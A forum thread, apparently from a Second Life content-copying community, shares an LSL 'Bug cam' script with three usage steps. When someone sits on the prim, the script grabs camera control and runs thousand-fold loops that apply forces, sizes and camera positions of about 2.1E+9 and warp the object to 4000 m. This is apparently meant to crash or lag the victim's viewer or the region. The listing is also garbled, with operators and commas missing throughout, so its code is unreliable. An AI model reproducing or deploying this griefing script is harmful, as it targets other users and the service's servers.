Second Life Copybot
Bug cam - Printable Version

+- Second Life Copybot (https://secondlifecopybot.com)
+-- Forum: SECOND LIFE PRODUCTS (https://secondlifecopybot.com/forum-1.html)
+--- Forum: SCRIPTS (https://secondlifecopybot.com/forum-1022.html)
+---- Forum: SCRIPTS (https://secondlifecopybot.com/forum-8.html)
+----- Forum: Communication Scripts (https://secondlifecopybot.com/forum-46.html)
+----- Thread: Bug cam (/thread-675.html)



Bug cam - zion - 02-18-2013

1. rez a prim
2. Insert script
3. Sit on it

PHP Code:
key agentKey NULL_KEY;
integer permissionResult FALSE;
string theAnim;
string sitText " ";
init()
{    
    
llSetSitText(sitText);
    
llSitTarget(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>);
    
llSetStatus(STATUS_PHANTOM,TRUE);
    
llSetStatus(STATUS_DIE_AT_EDGE,TRUE);
}
focus_on_me()
{
    
integer i 0;
    do
    {
        
llVolumeDetect(TRUE);
        
llSetCameraParams([CAMERA_ACTIVE1,CAMERA_BEHINDNESS_ANGLE0.0,CAMERA_BEHINDNESS_LAG0.0,CAMERA_DISTANCE0.0,CAMERA_FOCUS, <llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,CAMERA_FOCUS_LAG0.0,CAMERA_FOCUS_LOCKEDTRUE,CAMERA_FOCUS_THRESHOLD0.0,CAMERA_POSITION, <llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9> + <llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,CAMERA_POSITION_LAG0.0,CAMERA_POSITION_LOCKEDTRUE,CAMERA_POSITION_THRESHOLD0.0,CAMERA_FOCUS_OFFSETZERO_VECTOR]);
        
llForceMouselook(TRUE);
        
llSetLinkPrimitiveParams(LINK_SET,[PRIM_PHYSICS,TRUE,PRIM_FLEXIBLETRUE20.32.00.01.0, <000>,PRIM_TYPEPRIM_TYPE_SPHERE0, <0.01.00.0>, 0.0, <0.00.00.0>, <0.01.00.0>,PRIM_TYPEPRIM_TYPE_RING0, <0.01.00.0>, 0.0, <0.00.00.0>, <1.00.250.0>, <0.00.00.0>, <0.01.00.0>, <0.00.00.0>, 1.00.00.0,PRIM_TYPEPRIM_TYPE_SCULPT"c110440b-c276-88fb-9f3b-abf123f7ea2b"PRIM_SCULPT_TYPE_SPHERE,PRIM_TYPEPRIM_TYPE_TUBE0, <0.01.00.0>, 0.0, <0.00.00.0>, <1.00.250.0>, <0.00.00.0>, <0.01.00.0>, <0.00.00.0>, 1.00.00.0,PRIM_TYPEPRIM_TYPE_TORUS0, <0.01.00.0>, 0.0, <0.00.00.0>, <1.00.250.0>, <0.00.00.0>, <0.01.00.0>, <0.00.00.0>, 1.00.00.0,PRIM_TYPEPRIM_TYPE_PRISM0, <0.01.00.0>, 0.0, <0.00.00.0>, <0.00.00.0>, <0.00.00.0>,PRIM_TEXTURE0"66864f3c-e095-d9c8-058d-d6575e6ed1b8", <2,8,0>, <.5,.5,0>, PI 4,PRIM_TEXGENALL_SIDESPRIM_TEXGEN_DEFAULT,PRIM_SIZE, <llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,PRIM_POSITION, <65535,65535,65535>]);
        
llSetBuoyancy(llGetMass()*2.1E+9);
        
llSetForce(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,TRUE);
        
llSetTorque(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,TRUE);
        
llApplyImpulse(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,TRUE);
        
llTargetOmega(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,llGetMass()*2.1E+9,llGetMass()*2.1E+9);
        
llApplyRotationalImpulse(<llGetMass()*2.1E+9,llGetMass()*2.1E+9,llGetMass()*2.1E+9>,TRUE);
        
llPushObject(llGetLinkKey(LINK_ALL_OTHERS),<0,0,llGetMass()*2.1E+9>,<0,0,llGetMass()*2.1E+9>,FALSE);
        
i++;
    }while(
i<1000);
}
play()
{
    
focus_on_me();
    
llSetLinkPrimitiveParams(LINK_SET,[PRIM_PHYSICS,FALSE]);
    
warpPos(<128,128,4000>);
}
trash()
{
    
   
integer i 0;
    do
    {
        
play();
        
i++;
    }while(
i<1000);
}
warpPosvector d )
{
    if ( 
d.4000 )      
        
d.4000;
    
integer s = (integer)(llVecMag(d-llGetPos())/10)+1;
    if ( 
100 )  
        
100;    
    
integer e = (integer)( llLog) / llLog) );      
    list 
rules = [ PRIM_POSITION];  
    
integer i;
    for ( 
; ++)    
        
rules += rules;
    
integer r - (integer)llPow2);
    if ( 
)                    
        
rules += llList2Listrules0);
    
llSetPrimitiveParamsrules );
}
default
{
    
state_entry()
    {
        
init();
    }
    
on_rez(integer times)
    {
        
llResetScript();
    }
    
changed(integer change)
    {
        if (
change CHANGED_LINK)
        {
            
key agent llAvatarOnSitTarget();
            if ( 
agentKey == NULL_KEY && agent != NULL_KEY )
            {
                
agentKey agent;
                
llRequestPermissions(agentKey,PERMISSION_CONTROL_CAMERA);
                
trash();
            }
        }
    }
    
run_time_permissions(integer value)
    {
        if (
value == PERMISSION_CONTROL_CAMERA)
        {
            
            
permissionResult TRUE;
            
focus_on_me();
            
trash();
        }
    }